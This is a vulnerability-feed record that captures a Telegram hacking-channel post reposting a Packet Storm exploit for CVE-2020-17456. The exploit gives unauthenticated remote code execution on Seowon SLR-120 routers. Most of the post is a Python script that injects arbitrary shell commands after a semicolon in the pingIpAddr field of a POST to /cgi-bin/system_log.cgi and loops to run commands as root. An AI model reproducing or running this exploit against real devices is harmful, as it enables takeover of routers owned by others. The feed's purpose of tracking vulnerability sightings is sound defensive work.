{"uuid": "b05de68d-8ec8-471e-87fa-b24837e2a37e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-17456", "type": "seen", "source": "https://t.me/hacking_Attack/45961", "content": "Exploit Collector\nSeowon SLR-120 Router Remote Code Execution\n\nhttps://3.bp.blogspot.com/-BKQJl1oXbqE/WWlvQjSZMJI/AAAAAAAAINE/UWb7sXt4uvssyXVrWpwrINbeIcIr93_vACLcBGAs/s1600/h33.png \nSeowon SLR-120 Router unauthenticated remote code execution exploit.\n\nMD5 | fd60177cab243b9e939f0c03fb92cb05\n\nDownload\n# Exploit Title: Seowon SLR-120 Router - Remote Code Execution (Unauthenticated)\n# Date: 2022-03-11\n# Exploit Author: Aryan Chehreghani\n# Vendor Homepage: http://www.seowonintech.co.kr\n# Software Link: http://www.seowonintech.co.kr/en/product/detail.asp?num=126&big_kind=B05&middle_kind=B05_30\n# Version: All version\n# Tested on: Windows 10 Enterprise x64 , Linux\n# CVE : CVE-2020-17456\n\n# [ About - Seowon SLR-120 router ]:\n\n#The SLR-120 series are provide consistent access to LTE networks and transforms it to your own hotspot while being mobile,\n#The convenience of sharing wireless internet access invigorates your lifestyle, families,\n#friends and workmates. Carry it around to boost your active communication anywhere.\n\n# [ Description ]:\n\n#Execute commands without authentication as admin user ,\n#To use it in all versions, we only enter the router ip & Port(if available) in the script and Execute commands with root user.\n\n# [ Vulnerable products ]:\n\n#SLR-120S42G\n#SLR-120D42G\n#SLR-120T42G\n\nimport requests\n\nprint ('''\n########################################################### \n#    Seowon SLR-120S42G router - RCE (Unauthenticated)    #\n#                  BY:Aryan Chehreghani                   #\n#        Team:TAPESH DIGITAL SECURITY TEAM IRAN           #\n#             mail:aryanchehreghani@yahoo.com              # \n#                 -+-USE:python script.py                 #\n#         Example Target : http://192.168.1.1:443/        #\n###########################################################\n''')\n\nurl = input (\"=> Enter Target : \")\n\nwhile(True):\n\ntry:\n\ncmd = input (\"~Enter Command $ \")\n\nheader = {\n\"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:98.0) Gecko/20100101 Firefox/98.0\",\n\"Accept\": \"*/*\",\n\"Accept-Language\": \"en-US,en;q:0.5\",\n\"Accept-Encoding\": \"gzip, deflate\",\n\"Content-Type\": \"application/x-www-form-urlencoded\",\n\"Content-Length\": \"207\",\n\"Origin\": \"http://192.168.1.1\",\n\"Connection\": \"close\",\n\"Referer\": \"http://192.168.1.1/\",\n\"Upgrade-Insecure-Requests\": \"1\"\n}\n\ndatas = {\n'Command':'Diagnostic',\n'traceMode':'ping',\n'reportIpOnly':'',\n'pingIpAddr':';'+cmd,\n'pingPktSize':'56',\n'pingTimeout':'30',\n'pingCount':'4',\n'maxTTLCnt':'30',\n'queriesCnt':'3',\n'reportIpOnlyCheckbox':'on',\n'logarea':'com.cgi',\n'btnApply':'Apply',\n'T':'1646950471018'\n}\n\nx = requests.post(url+'/cgi-bin/system_log.cgi?',data=datas)\n\nprint(x.text)\n\nexcept:\nbreak\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-02T01:02:03.971313Z"}